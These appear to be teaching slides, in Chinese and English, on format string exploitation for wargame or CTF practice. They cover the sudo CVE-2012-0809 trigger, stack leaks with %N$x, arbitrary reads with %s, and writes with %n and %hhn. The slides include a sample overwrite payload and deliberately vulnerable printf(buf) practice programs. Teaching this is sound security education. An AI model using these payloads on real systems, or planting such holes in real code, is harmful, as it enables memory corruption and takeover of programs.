

Format String Exploit

ddaa

CVE-2012-0809

- The `sudo_debug()` function contains a flaw where the program name is used as part of the format string passed to the `fprintf()` function.
- `$ ln -s /usr/bin/sudo ./%s`
- `$./%s -D9`
- Segmentation fault

What is format string?

- `printf("Today is %d-%d-%d %s\n", y, m, d,w);`
- `%s %d %p %u %c %.....`

- 在輸出函式或字串處理函式中用來表示輸出的字串格式

format string exploit

- `printf(fmt);`
 - 問題在於把變數直接丟進 `printf` 裡面執行
- read / write arbitrary memory
- `printf` 家族全部都有 `fmt string vulnerability`
- `Printf, sprintf, snprintf, vsprintf, fprintf,`

Principle

- 正常的 printf

```
int a,b,c;
```

```
printf("%p %p %p", &a, &b, &c);
```

- 如果後面不給參數呢？

```
printf("%p %p %p");
```

Leak memory on stack

```
Starting program: /home/dada/example/fmt/a.out
```

```
Breakpoint 1, 0x0804842d in main ()
```

```
(gdb) x/10xw $esp
```

```
0xffffcf70:    0x080484d0    0xf7ffd000    0x0804844b    0xf7fcc000
0xffffcf80:    0x08048440    0x00000000    0x00000000    0xf7e3da63
0xffffcf90:    0x00000001    0xffffd024
```

```
(gdb) c
```

```
Continuing.
```

```
0xf7ffd000 0x804844b 0xf7fcc000
```

```
[Inferior 1 (process 23534) exited with code 040]
```

%N\$x

- 假如要 dump esp 後面第 100 個 dword ? word? byte?
 - `printf("%x %x *99");`
 - `printf("%99$x");`
 - `printf("%99$hx");`
 - `printf("%99$hhx");`
 - esp 後第一個是 fmt

```
1 int main()
2 {
3     printf("%1$hhx %1$hx %1$x\n");
4     printf("%1$x %x\n");
5 }
```

```
dada@ubuntu:~/example/fmt$ ./a.out
0 2000 f7792000
f7792000 f7792000
```

%s

- 但是這樣只能往下 dump , 如果 data 在 esp 之上或者根本在其他 memory region?
- 讓 target 出現在 stack 上 , 再用 %s 得到內容

```
1 char test[]="\x32\xa0\x04\x08%7$s\n";
2 char test2[]="flag is xxxxxxxxxxxxxxxxxxxxxxx";
3
4 void foo()
5 {
6     char buf[1024];
7     strcpy(buf, test);
8     printf(test);
9 }
10
11 int main()
12 {
13     foo();
14 }
```

```
dada@ubuntu:~/example/fmt$ ./a.out
2flag is xxxxxxxxxxxxxxxxxxxxxxx
dada@ubuntu:~/example/fmt$
```


Practice: fmt1

```
1 #include <stdio.h>
2 #include <stdlib.h>
3
4 char flag[100];
5
6 int main()
7 {
8     char I[100];
9     char MADE[100];
10    char A[100];
11    char STUPID[100];
12    char MISTAKE[100];
13    FILE *fp = fopen("/home/fmt/flag1", "r");
14    fscanf(fp, "%s", flag);
15    printf("The addr of flag is %p. Try to get the flag!\n", flag);
16    fflush(stdout);
17    read(0, STUPID, 100);
18    char *QQ = alloca(100);
19    printf(STUPID);
20    fclose(fp);
21    return 0;
22 }
```

%n

- 現在可以任意 leak information 了，接著利用 %n 來寫 memory
- %n: returns the number of characters written so far by this call to the function.
- %n 寫入「目前已經輸出幾個字元」到對應參數所指的位址

```
1 int main()
2 {
3     int count;
4     printf("orzorzorzorz%n\n", &count);
5     printf("%d\n", count);
6 }

dada@ubuntu:~/example/fmt$ ./a.out
orzorzorzorz
12
```

%Nc%M\$hhn

- 要用 %n 寫入一個 dword 的值不太可能
- 或者因為 ASLR 的緣故，我們只希望更改後面 2 byte
- 通常我們會分段寫入，一次輸出最多只要輸出 256 個字元
- Ex: %100c%30\$hhn%220c%31\$hhn
- Offset 30 寫入 $100 = 0x64$
- Offset 31 寫入 $(100 + 220) \% 256 = 0x40$

Summary

1. 利用 %N\$x dump 出 stack 中的 memory , 找到要 overwrite 的 target
2. 如果 target 在 stack 上 , 可以直接用 %N\$n 改 ; 如果不在 , 必須讓 target 的 address 想辦法出現在 stack 上
3. 用 %Nc 控制印出的字元數 , 再用 %N\$hhn overwrite target

最後 payload 可能會長得像這樣 :

```
\xdc\xed\xbf\xbf\xdd\xed\xbf\xbf\xde\xed\xbf\xbf\xdf\xed\xbf\xbf%100  
c%30$hhn%220c%31$hhn%55c%32$hhn%66c%33$hhn
```

Practice: fmt2

```
18 int main()
19 {
20     int (*func) ();
21     func = &what_can_i_do;
22
23     char buf[1024];
24     printf("Should I do someting at %p? Plz answer me. Q__Q\n", &func);
25     fflush(stdout);
26     fgets(buf, 1024, stdin);
27     printf(buf);
28
29     (*func) ();
30 }
```

More challenge

- **[Basic] endian with format string**
 - <http://wargame.cs.nctu.edu.tw/wargame/problem/1/35>
- **Basic Format String – normal**
 - <http://wargame.cs.nctu.edu.tw/wargame/problem/1/34>
- **Basic Format String – difficult**
 - <http://wargame.cs.nctu.edu.tw/wargame/problem/1/7>

ret2libc + fmt string exploit

- ~~自己的漏洞自己生~~
- 如果已經可控堆疊，但是無法任意 read / write memory
- 可利用 ret2libc 呼叫 printf，透過 fmt exploit 任意改寫 address
- leak 出更多資訊，來 bypass ASLR